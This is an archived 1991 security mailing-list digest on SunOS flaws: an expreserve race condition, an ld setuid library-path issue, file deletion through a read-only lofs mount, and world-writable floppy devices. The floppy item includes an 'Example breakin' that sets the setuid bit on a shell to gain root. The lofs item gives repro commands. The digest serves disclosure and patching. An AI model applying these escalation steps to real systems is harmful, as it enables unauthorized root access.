The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #16 1991-05-10 (1 file, 2211 bytes)
NOTICE: recognises the rights of all third-party works.


Date: Fri May 10 22:27:32 PDT 1991
Subject: Core Security Digest V1 #16

Core Security Digest Volume 1 Issue 16


            Sun Patch Information.
            Possible security problem with SunOS's lofs
            Security problem with floppies onder SunOS

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              [email protected]
PLEASE SEND REQUESTS TO:             [email protected]


Date: Wed, 17 Apr 91 16:59:03 PDT
From: [email protected] (Brad Powell )
Subject: Sun Patch Information.

Two patches are available fixing some old problems. No formal Security Bulletin
is planned at this time for either of these, unless some of you feel strongly
Here is the information.

Sun Patchid   Sun BugID   Synopsis
 100251-01     1044909    /usr/lib/expreserve race condition.  Expreserve
                          create(2)s a file as root in either /usr/preserve
                          or /usr/preserve/$USER and then chmod(2)s the file.
                          The Berkeley 4.3 version contains this bug as does
                          earlier versions of expreserve as well as System V
                          implementation until SVR4.0. This allowed for the
                          "race" to occure.Verified that the hole gives
                          ownership of any file to a user under no special
                          circumstances. The race condition occurs in
                          expreserve.c between the creation of the preserve
                          file and the change of ownership. The fix is to change
                          ownership of the file descriptor, instead of the
                          file name.

Sun Patchid  Sun BugID    Synopsis
100257-02    1052428's usage of stored -L options when running a
                           setuid program gives "too much rope".  When relative
                           pathnames are used, the resulting program will also
                           use relative pathnames when searching for libraries
                           and in the case of a setuid executable, this can
                           open the possibility for subversion of such


Date: Thu, 25 Apr 91 01:59:19 -0700
From: [email protected]
Subject: Possible security problem with SunOS's lofs

Tested under SunOS 4.1 ( and 4.1.1 )

Files can be deleted from a file systems mounted read-only via. the
loopback filesystem.

This can be a security problem if you realy on loopback filesystem (lofs)
for protection (for example is if you mount / readonly on /safe_root via lofs
then chroot guest accounts onto /safe_root).

Sun has been notified, the bugid is: 1053782

To repeat: [From memory]

    % whoami
    % mkdir /tmp/tester
    % cp /etc/motd /tmp/tester/file
    % su
    # mount
    /dev/sd0a on / type 4.2 (rw,nosuid)
    /dev/sd0g on /usr type 4.2 (rw)
    # mkdir /lo
    # mount -t lo -o ro /tmp/tester /lo
    # mount
    /dev/sd0a on / type 4.2 (rw,nosuid)
    /dev/sd0g on /usr type 4.2 (rw)
    /tmp/tester on /lo type 4.2 (rw)
    # suspend
    % cd /lo
    % ls -l file
    -rw-rw-rw-  1 shipley           23 Jun  4  1990 file
    % touch foo
    foo: Read-only file system
    % rm file
    % ls -l file
    file not found
    ls -Fa
    ./    ../


Date: Thu, 09 May 91 21:56:18 -0700
From: [email protected]
Subject: Security problem with floppies onder SunOS

    Read/writable floppy disk devices are a security risk.

OS/Version: SunOS 4.1.1

    The device /dev/fd0 (and /dev/*fd[abc] ) comes with file permissions
    of rw-rw-rw- (666).

    The risks involved are that anyone can read data from the device
    without read permission of the file.

    Root access can me access if a floppy is mounted since anyone can
    add the setuid bit to a any file or create a newdevice on the
    floppy (for example kmem) and gain access to other disks or system

Example breakin:

    % whoami

    % mount
    /dev/sd0a on / type 4.2 (rw,nosuid)
    /dev/sd0g on /usr type 4.2 (rw)
    swap on /tmp type tmp (rw)
    /dev/fd0 on /floppy type 4.2 (rw,noauto)

    % ls -lg /dev/fd0
    brw-r--r--  2 root     staff     16,   2 Apr 23 20:58 /dev/fd0

    % ls -lgi /floppy/sh
	 4 -rwxr-xr-x  1 root     daemon     106496 May  9 17:46 /floppy/sh

    % adb -w /dev/fd0
	    [deleted session text]

    % sync ; sync ; sync

    % ls -lgi /floppy/sh
	 4 -rwsr-xr-x  1 root     daemon     106496 May  9 17:46 /floppy/sh

    % /floppy/sh

    # whoami

    Note that if /floppy was mount with the "nosuid" option I could
    still gain root auth. by creating a kmem device and changing the
    uid of my shell (this is actualy very simple).

Suggested fix:

    chmod/chown the floopy disk rw------- (600) root.daemon


        End of Core Security Digest Volume 1 Issue 16